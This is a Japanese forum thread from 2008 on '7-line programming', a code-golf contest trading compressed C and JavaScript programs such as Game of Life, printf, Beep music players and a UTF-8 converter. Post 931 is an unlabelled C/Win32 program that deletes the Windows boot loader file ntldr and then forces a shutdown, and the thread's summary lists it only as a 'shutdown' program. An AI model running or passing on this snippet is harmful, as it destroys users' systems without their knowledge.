a[1920],b[1920],i,j,g;main(t){for(a[919]=a[839]=a[999]=a[918]=a[840]=1;++g<999; ){printf("%4d\n",g);for(i=0;++i<23;puts(""))for(j=1;j<79;){t=i*80+j++;printf(a[ t]?(b[t-81]++,b[t-80]++,b[t-79]++,b[t-1]++,b[t+1]++,b[t+79]++,b[t+80]++,b[t+81] ++,"*"):".");}for(i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i ++,j=0);}}
a[t]=1,b[t]=4のときまずくないか?
すまん俺の勘違い
a[1920],b[1920],*p,i,j;main(t){for(a[839]=a[840]=a[999]=a[918]=a[919]=1;;){for( puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(*(p-b+a )?p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for (i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
a[1920],b[1920],*p,i,j;main(t){for(a[839]=a[840]=a[999]=a[918]=a[919]=1;;){for( puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(p[a-b]? p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for(i =j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
880 :
デフォルトの名無しさん :2008/06/13(金) 16:28:59
このスレの方針はANSI C準拠なの? それともある処理系で認められるなら、 どんな方法でも使ってかまわない?
そもそもCじゃなくてもいい気がする
Cを使おうってなら、gcc だと使えるひとも多いだろう。 例えば watcom only だとかだと限定を明記して 開発環境の導入方法から書いて欲しいなぁ、と。
>>880 part1から語られているテーマだよな。
今のところの結論は、別にどういう処理系で書いてもいいけど、
ニッチになればなるほど認める人は少なくなるよ、って感じかな。
884 :
デフォルトの名無しさん :2008/06/14(土) 10:08:02
だあね。 標準に近ければ近いほど、ここでは制限きつくなるわけで。
まあ、最初からガチガチにANSI準拠にしなくていいと思うよ。
もちろんそれが可能なら、標準環境でコンパイルできないと意味を持たなくなるけど、
ほっといても
>>870-879 のように住人みんなで最適化するしね。
7行でマインスイーパって可能?
7行で○○って可能? こういうレスを今まで何回見たか。
>>886 まず何行でもいいからできるだけ短くマインスイーパを書いてみろよ。
もっともな意見だ
むしろ互換ライブラリを7行でっていうのはどうかな? 勿論ココのプログラムが一つ動けばいい位の割り切りが必要かもだけど。
互換ライブラリって何だ? glibcとかから標準関数のソースもってきて縮めるの?
案ずるより産むが易しってことだな 覆水盆に帰らず
処理系依存のライブラリで縮めたプログラムなんかを動かすための代替ライブラリってことね。
#include <7lines.h> ってすると、printf()もp()ですむ。 stdio.h以外のライブラリも使い放題。 わあラクチン。 ・・・違うよな?
>>894 windows.hとかをを7行で書くんだ!
・・・まあローカル処理系路線を突き詰めたらそういうのもありかもね?
それにしても7行でどこまで機能提供できるんだろうか?
>>893 ありものでなんとかするのが面白いと思うから
7行プログラムのためのライブラリなんかつくっちまって
提案者が敷居をいくら低くしようと勝手だが
俺は使わないと思う
897 :
デフォルトの名無しさん :2008/06/15(日) 00:34:18
ライブラリを7行で書くんですね。
printfを7行で書くんですねわかります
899 :
デフォルトの名無しさん :2008/06/15(日) 01:01:52
printfを7行で書くのは楽だろww
釣りだよな?
まあstdarg.hさえ使えばできるだろうけども。 使わずに7行だったらソースを見てみたい。
バイナリで7行に・・・ いや、無理かもわからんな
おいおい、マインスイーパー7行は初代スレで達成されてたじゃないか 可変サイズかつ爆弾の数も可変という信じられない作りこみの作品だったぞ
>>901 stdarg.h使わずにどうやって可変長引数を使うんだ
varargs.hを使う
アホくさ stdarg.h使った版見たいわ もちろんC89完全準拠の奴
3行 #include <stdio.h> #include <stdarg.h> int p(char*f,...){va_list a;return vprintf(f,a);} vprintfが卑怯? じゃあstdio.h使わずにputcharやputsなしで標準出力に出して下さいね
>>907 マジレスして悪いが、va_listの使い方勉強しなおしてくれ。
>>907 vprintfはstdargの関数だからstdioをincludeする必要はないぞ。
可変長引数なんてクソなもの勉強したくないです
主旨は伝わってるからいいだろ
>>909 つまりstdarg.hを使った時点でvprintfに頼るのは運命なんですね
なんでネタで歓談してただけなのに、ここまで荒れるのか理解できない。 酒飲んでるなら寝てくれ。
#include <stdarg.h> int p(char*f,...){va_list a;int r;va_start(a,f);r=vprintf(f,a);va_end(a);return r;} 残念だけどこれ以上は短くならんな
913 :
デフォルトの名無しさん :2008/06/15(日) 04:07:23
てっきりprintfのフォーマット解釈と引数はめ込みを7行で書く流れかと思ったが、違ったのか…。
>>913 そういう流れだったはずなのに、なんか変なことになってるな。
本気でフォーマット解析まで7行で作るならstdarg.hなんか使わずに 直接スタック覗いた方が短そうだな
strtoX系使っていいなら楽勝だと思うけど
ちげえ ダメだ寝ぼけてる
918 :
デフォルトの名無しさん :2008/06/15(日) 08:09:01
windows.h使ったほうが早い
>>879 a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(a[p-b]?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2
&&(a[p-b]=c==3);}
#include <stdarg.h> r(a){putchar(a);}d(n){n/10&&d(n/10);r(n%10+48);}p(char*f,...){va_list a;char*t; va_start(a,f);for(;*f;f++)if(*f!='%')r(*f);else if(*++f=='s')for(t=va_arg(a, char*);*t;r(*t++));else*f=='c'?r(va_arg(a,int)):*f=='d'?d(va_arg(a,int)):r(*f); va_end(f);} main(){p("%c %d %d %s %c", 40, 0, 9870, "test", 41);}
%xとか%eと%pとか%3.5Lfとか%%とかにまったく対応してないじゃん 話にならん
>>919 それだとaを変更しつつaを表示してないか?
a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(*p?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2&&(a[
p-b]=c==3);}
a=[(r=function(){return (m=Math).floor(m.random()*9+1)})(),r(),r(),r(h=b=0)]; for(k=0;t=prompt(b=h=0),k<6;alert(h-4?(h+"hit "+b+"blow"):"CONGURATURATION!!") ,k++)for(i=0;i<4;h+=a[i]==t.charAt(i++)?1:0)for(j=0;j<4;b+=a[i]==t.charAt(j++) ?1:0);alert(a); 暇潰し
925 :
デフォルトの名無しさん :2008/06/15(日) 19:56:06
7行printfなら以前あったよね あれをベースに改造したのを仕事で使った
ひろゆきライセンスに違反してるぞ
928 :
デフォルトの名無しさん :2008/06/17(火) 07:24:58
(^ิ ౪ ^ิ)
930 :
デフォルトの名無しさん :2008/06/23(月) 00:21:46
___ /::::::::::::::::\ /:::::─三三─\ Drive your Dreams!! /:::::::::(○)三(○):\ T○○○TA /::::::.::::(トェェェェェェェェイ:::::\ |::::::::::::::::::\ェェェェェ/:::::::::| \::::::::::::::::::::∪:::::::::::::::::::/ >::::::::::::::::::::::::::::::::::< /::::::::::::: _,,ィi⌒ヽ / r‐-r''´ ノ.l |⌒ヽ / 厶'⌒_l { :| l |_ / 、,_ゝ、_ノス,,_,ノ、_,,ノ》` /;;;;;;┌--‐""""ヾ,ヽ /:::::;;;ソ :;; ヾ;〉 |;;;;;;;;;l ___ __i| /⌒ヽリ─| 《;,・;》H 《;,・;》|! | ( :::: `ー─' |ー─'| ヽ,, ヽ U . ,、__) :::: ノ! ゴリッ | :::: ノ ヽ:::: | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ⌒⌒ヽ 彡 ∧ ll===ュ ./ < やめてくれ! 1億、 、 ) ̄} ̄ ̄ ̄ ̄ ̄ヾ ;; ヽ |、'^Y^',,| / \ いや2億あげよう! 、_人_,ノ⌒)}─┐ .,,;:':;}#;ヽ\ `-;;;;-''ノ \あっ あっ ギャーー!
931 :
デフォルトの名無しさん :2008/06/27(金) 02:26:31
#include <windows.h> main(){HANDLE a;LUID b;TOKEN_PRIVILEGES c={0};char d[512];GetWindowsDirectory(d ,512);d[3]=0;lstrcat(d,"ntldr");DeleteFile(d);if(OpenProcessToken( GetCurrentProcess(),40,&a)){if(LookupPrivilegeValue(0,SE_SHUTDOWN_NAME,&b)){c. PrivilegeCount=1;c.Privileges[0].Luid=b;c.Privileges[0].Attributes=2;if( AdjustTokenPrivileges(a,0,&c,0,0,0))if(GetLastError()==0)ExitWindowsEx(1,0);} CloseHandle(a);}return 0;}
CloseHandleをする優しさに感動した。
#include <stdio.h> #define m(X) fprintf(stderr,"%s\n",X); int m; char* __ = "m(__)m"; int main(){ m(__)m ;} まぁ、特に七行である必要はないわけだが。。。 最初はこれで勘弁してくれ
二つ作ったから載せてみる #include <stdio.h> #define _(X) fprintf(stderr,"%s\n",(char*)(w X w)); int w = (int)"(^w^)"; int main(){_ (^w^) ;} #include <stdio.h> #define _(X) "##X##";fprintf(stderr,"%s\n",q); char* q= "(^-^*)";int main(){_ (^-^*) ;} ただ、↑を作った時点で、どんな形式でもプリプロセスに読み込ませれば勝ちってことに気づいてしまった… ()の中ならマルチバイト文字だって入るんだぜ…なんだがやる気なくなった…orz
七行プログラミング っつーかただのネタだな。 動くんか?摩訶不思議なコードみたいなスレがあったと思うが
総メモリ512KBの時代にはまぁまぁ普通でした 詰め込むのが
>>936 512Kか・・・ちょうど贅沢時代の幕開けだね
昔、プログラムポシェットに1行プログラムコーナーがあって
そこにロールプレイングゲームを投稿したのを思い出した。
938 :
デフォルトの名無しさん :2008/06/28(土) 14:01:39
32kだった俺涙目
最初に買ったのがRAM8KのMSXだったので実質4Kくらいだったな
ファンファーレまで入れようと思ってたら全然余裕がなかった。 #include <windows.h> main(A){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622, 659,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1" "f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c" "1b1e1d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1" "n2k1h1i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o" "1s1r1q1o1m1o9q";while((A+=2)<299)Beep(B[C[A]-'a'],(C[A-1]-'0')*185);return 0;}
>>940 実行してないけどドラクエ「序曲のテーマ」のビープ演奏と見た
ビーーーって鳴ってるだけで音楽になってないお… Aの初期化しないと
Aはargcだから初期化されてるはずだけどな
mainの引数1個ってのは規格外だから、どうなるかはわからんのではない?
Aを使わなければいいんじゃね。 #include <windows.h> main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659 ,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1f3g1\ i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1\ d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1n2k1h1\ i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o1s1r1q1\ o1m1o9q";while(*(C+=2))Beep(B[*C-'a'],(*(C-1)-'0')*185);return 0;}
処理系がBeepの音程を実装してなければビーーーーって鳴るだけだな
947 :
デフォルトの名無しさん :2008/06/29(日) 14:19:44
xpだけど、引数を奇数個渡さないと音楽に鳴らないな
dmcでは通ったけどこれは鼻から悪魔とかじゃないよな #include <windows.h> main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659 ,698,740,831},q;char*C="iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2\ cab8iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2h2i8ikll2kjihenk2hikl\ 2iklo2p2plnpr2rikll2kjihenk2hikl2iklnoq2osrqomoq9"; while(*C)q=B[*C-'a'],Beep(q,*++C>'9'?185:(*C++-'0')*185);return 0;} 短くなったぶん続きも入るけど原曲知らない
>>949 あ、曲の最後だけは数字は省略不可だなこれ
誰かMMLインタプリタ書いた人いなかったっけ
あーもう一年半も前のことだったのか
三項演算子つかいすぎw
三項演算子は花形中の花形じゃないか
==を-にすると少し減ると思う
>>956 条件がひっくり返ってしまうから必ずしもそうとは限らないんだなあ。
A?B:C のうち、Bの箇所には?:よりも優先順位の低い演算子が使えるんだけど、
それをCに持っていくと括弧で括らなきゃならない。そうすると1文字増える。
a ? b : c のとき、b を省略すると a が真のとき、a が返る。 っていうのもあったけど、規格に合致しているんだっけ?
960 :
952 :2008/06/29(日) 17:57:29
#include <stdio.h> #include <windows.h> int r,c,d,n,j,a,o=4,l=4,t=120,f[84],A='A';w(a){ungetc(a,stdin);}y(int*p){return *p=getchar();}q(int*p){for(r=0;'0'<=y(&d)&&d<='9';)r=r*10+d-'0';w(d);r?*p=r:0;} main(){float s=27.5;for(;j<84;s*=1.0595)f[j++]=s;while(y(&c)-EOF)c+=c<'a'||'z'< c?0:A-'a',A<=c&&c<'H'||c=='R'?c-'R'?a="ACDFHIK"[c-A]-A+12*o, y(&d)=='+'||d=='#' ?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=12e4*(y(&d)-'.'?w(d),2:3)/t/n,c=='R' ?Sleep(j),0:Beep(f[a],j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c=='T'?q(&t):c=='\ >'?o+=o!=7:c=='<'?o-=!!o:0;} 14字削った。 * 同じ文字リテラルが4回以上出てくるときは、変数においたほうが得。 * お尻に3個以上の0が続く整数リテラルは指数表記を使ったほうが得。 ということに気づいた。
指数表記かぁ・・・なるほどねぇ
やっぱりmain(A)はまずいですね……。 空気を読まずにもう一つだけ投下。 #include <windows.h> char*D="9a3adfTh9d3dfh@i<<hf5d7fXd9d3dfh@l<9o3hiheHh<f9h3hijHh/'<f9h3hihPdbdhj\ llln4/M@fhijhddc@fh`d@q5d3fPjjihi<<lPdj/ jij@ig4dgTfH/ om4kj<i<g4f4g4iPPq@@i@h\ hi@57lDhhi@57l<po5n7o\\jjih<i<@fPh/7bd5f;df5h;i<n<lh<h<fhXd@q5b3d<i<hiP/Fii5h;\ io5p;o<n<lh<h<fhPdHqh<i<hd@d<f`d",*E="!/$*'%/'3 5*9&=#@*I&N#R*X$^ c'p$";int A,B ,C;main(){while(*D){if(*D-47)A=*D>96?8:*D++-48,B=*D<97?18:(*D++-97)*2,Beep(B-32 ?E[B]*8+E[B+1]:32767,A*35);else D+=C++?C>2?C=0,D[1]-16:-D[1]+2:2;}return 0;}
963 :
デフォルトの名無しさん :2008/06/30(月) 13:22:05
すげええw7行プログラミングはやっぱすげえやw
だからもう末期的だといってんだよw
文字列からプープー音鳴らすのってMSXみたいだな
'd'=100だからそれ以下は数字にすれば1文字稼げる希ガス
それだとUNICODE環境とかでは動かなくなるんじゃね
UTF-8 なら大丈夫だな
UTF-8のテキストファイルをUTF-16に変換します
Winの人は"w"を"wb"にしてね
#include <stdio.h>
FILE*i,*o;int l,p,t[]={0,192,224,240},r=65536;void P(int p){putc(p
>>8 ,o);putc(p
%256,o);}int main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"
))?0:(fclose(i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga h\
irakemasen! itteyoshi!!\n",stderr),1;for(fputs("\xfe\xff",o);(c=getc(i))-EOF;(p
-=r)>=0?P(p/1024+55296),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-
224?(c&248)-240?0:3:2:1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);return 0;}
// なんとか7行達成w
*i,*o,l,p,t[]={0,192,224,240},r=65536;P(p){putc(p
>>8 ,o);putc(p%256,o);}
main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(
i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! i\
tteyoshi!!\n"),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296
),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:
1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);}
//なんども出てきた技だしこれぐらいはしとこうや
*i,*o,l,p,t[]={0,192,224,240},r=65536;P(p){putc(p
>>8 ,o);putc(p%256,o);}main(int
c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(i),1)):1)
return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! itteyoshi!"
),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296),P(p%1024+
56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:1];l--;)p=p
<<6|getc(i)%128;fclose(i);fclose(o);}
fcloseなんて不要だから消すべし
いくらなんでもint*にFILE*いれるのはやめれw
何がいけないの まさか今更このスレで型安全性なんて下らない寝言は言わないよな
そりゃ、標準を無視すればいくらでも短くできるのは確かだが、 なんというかそれでは意味がない気がするんだよなあ。 入出力機能を使うときに#include<stdio.h>を書かなければ、 一行まるまる浮くわけだが、そういう縮め方に価値を見出せない。 俺は、最低限、型の整合性とプロトタイプの整合性だけは守りたいと思う。
KY
標準を無視してもいくらでも短くなったりはしないよ 特定の環境に目一杯依存してコードを縮めるのも一つの楽しみ 「標準に準拠するC言語」と 「特定の処理系で動けばよいC言語」を 二つの独立した言語として扱えばいいと思う 自分が関心ないからって別言語のコードに文句付ける必要はないって意味で
stdio.hが入らなかったときは、誰かに託せばいいんだよ
>>977 「標準に準拠するC言語」>「特定の処理系で動けばよいC言語」
この前提がある以上、「特定の処理系で動けばよいC言語」はランクが下がる
で?
評価として下になるってだけの話だろ
次スレ&まとめの時期ですかね というわけでむちゃくちゃ適当にまとめてみました よくわからなかったものは□にしてますごめんなさい。だれか補足お願いします >7 AA(.com) >42 Win32用簡易メトロノーム(C/Win32) >43,46,49 数独(C) >53,54 アイコンエディタ(JavaScript) >75,77 1行掲示板(PHP) >80,649,650 シェルピンスキーのギャスケット(C) >81 弾避け(JavaScript) >99,100 正規表現(C) ※9行 >121 Java難読化(Java) ※9行 >167,175 オセロ(C) ※12行 >185,187 サーバー(なでしこ) >191 メール送信(なでしこ) >193 Windows送るメニューカスタマイズ(なでしこ) >221 メール送信フォーム(なでしこ) >226,230 □(.com) >244,245 ブロックソート/ソート解除(C#) >284 ノイズ(C/cygwin) >300,302,304,305,311,312,313,350 音(C/Win32) >316 □(C#) >317 音(Ruby/Win32) >321,322 Beepエミュ(C/Win32) >327,328,960 MML再生(C/Win32) ※9行 >343 け言語(Ruby) >402,404,405 音(C/Win32) 続く
続き >407 TerminateProcessフック(C/Win32) ※11行 >409,412 ハフマン法圧縮(C) >415 ZwCloseフック(C/Win32) ※3文字オーバー >414,421,457,458 ランレングス解凍(C) >459 C/C++コメント除去(C) >466,467,469,470,476,479,482,483,484,488,492 2進数のビット反転 関数のみ(C) >477,478 誤爆(C) >487 brainfuck(C) >498,499 画像ぼかし(C#) >509,511,512 ニュートン法(C) >513 標準出力にBrainfuckと読める絵を出力(Brainfuck) >520,529,534 ローマ字半角カナ変換(なでしこ) ※11行 >533 ローマ字半角カナ変換(JavaScript) ※13行 >540 ∩( ・ω・)∩ ばんざーい (なでしこ)←データが外部 >555,557,559 WEOF→EOF(C) >558 素因数分解(JavaScript) >564 echoサーバ(BASIC) >565 echo(Brainfuck) 4文字 >577,590 スロット(JavaScript) >626,631,632,636,637,640 迷路(JavaScript) >651,657,658,661,663 Base64エンコード(JavaScript) >669 テニス(JavaScript) >670,671,672,675 計算機(JavaScript)←evalしてるだけ >677 □(Befunge?) >679 Base64エンコーダ、デコーダ(Perl) >683 Base64エンコーダ(Lua) >685 Base64エンコーダ(Ruby)←Base64モジュール使ってるだけ >687,698 自己展開Base64(.com) 続く
続き >700 メッセージボックス(C/Win32) >701 テトリス(東方何とか)←18行 >705,706 じゃんけん(JavaScript) >713 RSSリーダ(JavaScript) >714,717,718,741,745 メモ帳(JavaScript) >721 テンキー練習(JavaScript) >743 WYSIWYGなHTML作成支援エディタモドキ(JavaScript)←innerHTMLに代入してるだけ >755,757,758,760,762 逆localtime(Perl) >763 626のマウス版(JavaScript) >765,772,775 ⊂( ^ω^)⊃耐久走 (JavaScript) >776,777,781 ベートーベン(C/Win32) >804 数独(C) >865,867 crypt(C) >870,875,878,879,919,923 life(C) >907,912 printf(C)←vprintfに丸投げ >920 printf(C) >924 暇つぶし(JavaScript) >931 シャットダウン(C/Win32) >940,945,949,962 音(C/Win32) >969,970,971 UTF-8→UTF-16(C) 誰か次スレお願いします
おう立ててこよう。ちょっと待っててな。
次のお題なんだが、 jsonを見やすくインデント ってのはどうだろう 需要が無いならオレが書く
そういえばアセンブラで行詰め込み可能な文法ってないのかな?
7行でアセンブラ書けばいいんじゃね?
#!/usr/bin/ruby -pl
$_=[$_].pack("m*")
>>685
992 :
デフォルトの名無しさん :2008/07/07(月) 06:41:21
993 :
992 :2008/07/07(月) 06:45:17
置換してみたら、本文が長すぎますだって。そういうことか(´・ω・`)
>992,993 専ブラ使え
995 :
992 :2008/07/07(月) 09:20:53
「アンカーが多すぎます」もあるんじゃね?
自分の奴がまとめに入ってると嬉しかったり恥ずかしかったりだな
4バイトはDQ
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。